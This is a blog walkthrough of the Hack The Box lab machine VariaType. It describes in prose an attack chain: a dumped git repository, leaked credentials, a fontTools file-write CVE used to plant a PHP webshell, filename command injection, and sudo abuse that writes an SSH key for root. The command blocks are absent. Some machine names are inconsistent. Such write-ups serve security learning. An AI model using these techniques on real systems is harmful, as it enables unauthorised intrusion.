Welcome to another Hack the Box walkthrough. In this blog post, I have demonstrated how I owned the VariaType machine on Hack the Box. Hack The Box is a cybersecurity platform that helps you bridge knowledge gaps and prepares you for cyber security jobs.
About the Machine
VariaType is a medium difficulty Linux machine on Hack The Box that demonstrates how chained misconfigurations and insecure development practices can lead to full system compromise. The attack began with Nmap enumeration, where I discovered SSH and an HTTP service that redirected to a virtual host, followed by host resolution setup to properly interact with the application. During web enumeration, I identified a git repository exposure, which allowed me to dump the exposed repository and perform git history analysis, ultimately recovering hardcoded credentials that had been removed but remained accessible in previous commits.
Using these credentials, I achieved authentication and file disclosure through a vulnerable endpoint, confirming directory traversal and gathering system information. Shifting focus, I identified CVE-2025-66034, which enabled arbitrary file write via XML injection, and proceeded with exploit development by crafting malicious font files and a designspace payload. This led to remote code execution, granting initial access to the target system.
To stabilize access, I performed SSH key generation and began privilege escalation preparation by crafting a malicious ZIP payload that abused unsafe processing in a scheduled task. Through payload delivery, I successfully injected my SSH key into the system, achieving user access and flag retrieval as the steve user.
Further enumeration revealed a misconfigured sudo rule, enabling privilege escalation enumeration of a root-executable Python script. I then prepared for root compromise by generating a root SSH key and hosting the root public key via a local HTTP server. Finally, I exploited the privileged script to write my key into /root/.ssh/authorized_keys, achieving privilege escalation to root and complete control over the system.
Overall, VariaType highlights the risks of exposed repositories, insecure file handling, and improper privilege management, requiring a combination of enumeration, code analysis, and exploit chaining to successfully compromise the machine.
The first step in owning the Overwatch machine like I have always done in my previous writeups is to connect my Kali Linux terminal with Hack the Box server. To establish this connection, I ran the following command in the terminal:
Once the connection between my Kali Linux terminal and Hack the Box server has been established, I started the CCTV HTB machine and I was assigned an IP address (10.129.11.170).
Nmap Enumeration
I ran an initial Nmap scan to identify open ports, services, and potential attack surfaces on the target:
The scan revealed two open ports: 22 (SSH) running OpenSSH 9.2p1 on Debian, and 80 (HTTP) served by nginx 1.22.1. The web service redirected to variatype.htb, indicating a virtual host that likely needs to be added to /etc/hosts. At this stage, I focused on web enumeration via the discovered domain while keeping SSH in mind for potential credential-based access later.
Host Resolution Setup
Since the web service redirected to a custom domain, I updated my local host resolution to properly access the application:
I added both the main domain and a potential subdomain (portal.variatype.htb) to ensure all virtual hosts resolve correctly.
This allowed me to interact with the web application as intended instead of relying on the IP address.
With this in place, I proceeded to enumerate the website and explore any functionality exposed on both domains.
Git Repository Exposure
While enumerating the portal.variatype.htb subdomain, I probed for common misconfigurations and discovered an exposed .git directory:
The response ref: refs/heads/master confirmed that the Git repository was publicly accessible. This indicated that the full source code might be retrievable directly from the web server.
Recognizing this as a critical information disclosure, I proceeded to dump the repository to analyze the application’s code, configuration, and potential credentials.
Dumping Exposed Git Repository
After confirming the .git directory was accessible, I proceeded to extract the repository contents for offline analysis. First, I installed a tool to automate the dumping process:
With the tool installed, I dumped the repository from the target:
The output showed multiple successful 200 responses for critical Git files such as HEAD, config, index, and object files, confirming that the repository could be reconstructed.
The tool then rebuilt the working tree locally using git checkout, giving me full access to the application's source code.
At this point, I began reviewing the codebase for sensitive information such as credentials, API keys, and potential vulnerabilities.
Git History Analysis
After dumping the repository, I began inspecting its commit history to identify any sensitive information left behind:
I observed a recent commit mentioning a gitbot user, which looked interesting, so I searched for hidden or removed commits:
This revealed an unreachable commit, indicating previously deleted content that might still be recoverable. I inspected it directly:
The commit message showed “remove hardcoded credentials”, and the diff exposed credentials for the gitbot user.
This confirmed that sensitive data had been removed from the current version but was still accessible in Git history, providing a potential entry point for further exploitation.
Authentication & File Disclosure
Using the recovered gitbot credentials from the Git history, I authenticated to the portal application and saved the session cookie:
After extracting the PHPSESSID, I used it to access a file download endpoint:
The response successfully returned the contents of /etc/passwd, confirming a directory traversal vulnerability in the download.php parameter. This demonstrated that I could read arbitrary files on the system, and enumeration revealed a valid user steve, which could be useful for further access.
Exploit Development (CVE-2025-66034)
During further enumeration, I realized the download.php functionality was a rabbit hole, so I shifted focus and identified a more promising attack vector: CVE-2025-66034, an Arbitrary File Write + XML Injection vulnerability in fontTools.varLib.
To exploit this, I first generated two minimal font files required for a malicious designspace:
This created source-light.ttf and source-regular.ttf, which would be referenced during the font processing stage. Next, I crafted a malicious .designspace file embedding a PHP webshell inside a CDATA section, while specifying the output path as a web-accessible location (/var/www/portal.variatype.htb/public/files/shell.php).
By doing this, I aimed to abuse the font processing pipeline to write a server-side PHP payload, effectively setting up remote code execution once the file is generated and accessed.
Exploitation - Remote Code Execution
With the malicious .designspace and font files prepared, I uploaded them to the vulnerable font processing endpoint:
The server responded with a “Processing completed” message, indicating the payload was successfully handled.
I then accessed the generated file and executed a command:
The successful command execution confirmed that my payload had been written and executed, achieving remote code execution (RCE) on the target system.
SSH Key Generation
After achieving remote code execution, I prepared a more stable access method by generating an SSH key pair for the steve user:
This created a private key (steve_key) and a corresponding public key (steve_key.pub) without a passphrase. The goal was to upload the public key into steve’s ~/.ssh/authorized_keys using the RCE, allowing passwordless SSH access.
With this approach, I could transition from a web shell to a more reliable interactive shell on the target system.
Privilege Escalation Preparation
To escalate my access, I crafted a malicious ZIP archive designed to exploit a command injection vulnerability in the font processing workflow (likely executed by a scheduled FontForge job).
The script embedded my SSH public key into the filename itself using command substitution, so when processed, it would create /home/steve/.ssh/authorized_keys and insert my key.
This approach leverages unsafe handling of filenames, allowing arbitrary command execution on the system. Once generated, evil.zip was ready to be uploaded, with the goal of gaining persistent SSH access as the steve user.
Payload Delivery
To deliver the malicious archive to the target, I first hosted it locally using a simple Python HTTP server:
The incoming GET /evil.zip request confirmed that the target successfully reached out and downloaded the file. Next, I used my web shell to explicitly fetch the payload onto the target system:
steve user.User Access & Flag Retrieval
After the payload was processed, I attempted SSH access using the private key I had generated earlier:
The connection was successful, confirming that my public key had been added to steve’s authorized_keys. I verified my access by running whoami, which returned steve, and then retrieved the user flag from the home directory. This confirmed a successful transition from remote code execution to a stable shell as a valid system user.
Privilege Escalation Enumeration
With SSH access as steve, I began enumerating sudo privileges to identify potential escalation paths:
steve could execute a Python script as root without a password:/usr/bin/python3 /opt/font-tools/install_validator.py *.
This was particularly interesting because the script accepts arguments, suggesting a possible abuse of input handling or file processing. Since it runs with root privileges, I focused on analyzing this script as a potential path to full system compromise.
Preparing Root Access
After identifying a potential privilege escalation path via the sudo-allowed Python script, I prepared a persistent method to gain root access by generating a new SSH key pair:
This created root_key and root_key.pub, which I intended to inject into the root user’s authorized_keys. The idea was to leverage the privileged script to write my public key into /root/.ssh/authorized_keys, enabling direct SSH access as root. With this in place, I was ready to exploit the misconfigured sudo permission for full system compromise.
Hosting Root Public Key
To prepare for privilege escalation, I set up a lightweight HTTP server to serve my root public key, making it accessible from the target machine:
I created the following script to host the contents of root_key.pub:
This server was designed to return my SSH public key upon request, which I planned to fetch from the target using the privileged script. By doing this, I could inject my key into the root user's authorized_keys, enabling direct SSH access as root.
Privilege Escalation to Root
To execute the final stage, I started my local HTTP server to host the root public key:
Next, I leveraged the sudo-allowed script to fetch my key and write it directly into the root user’s authorized_keys:
The output confirmed that the file was downloaded and installed at /root/.ssh/authorized_keys, effectively granting me SSH access as root. I then authenticated using my private key and retrieved the root flag:
Successful execution returned root along with the flag, confirming full system compromise.
If you enjoy reading my walkthrough, do not forget to like, comment, and subscribe to my YouTube channel and also connect with me on LinkedIn. Also, don't forget to turn on post notification on my YouTube channel and Medium to get notification as soon as I write.
Subscribe to my YouTube channel and Follow me on: LinkedIn | Medium | Twitter | Boltech Twitter | Buy Me a Coffee
Found this walkthrough helpful?
Buying me a coffee helps power the late nights spent writing technical walkthroughs and keeping them free for everyone ☕
Comment below the machine you want me to drop next!!! You can buy me a $25 coffee for a year premium subscription with a weekly release on every active machine [you will get the HTB write ups two days after each machines are released]
Keywords:
variatype ctf solution hack the box
variatype pwned root flag
rooted variatype on hack the box
pwned variatype on hack the box
variatype.htb
variatype hackthebox
variatype htb write up
variatype htb walkthrough
variatype hack the box write up
how to solve variatype htb machine
variatype hack the box walkthrough
variatype htb user flag hint
variatype htb root flag hint
VariaType HackTheBox solution
how to solve variatype htb machine
variatype hack the box machine complete solution pdf
variatype htb user flag root flag hint
portal.variatype.htb
rooted variatype htb
owned variatype htb
variatype hack the box htb user flag retrieval
htb machine variatype complete write up solution
HTB/VariaType GitHub
0 Comments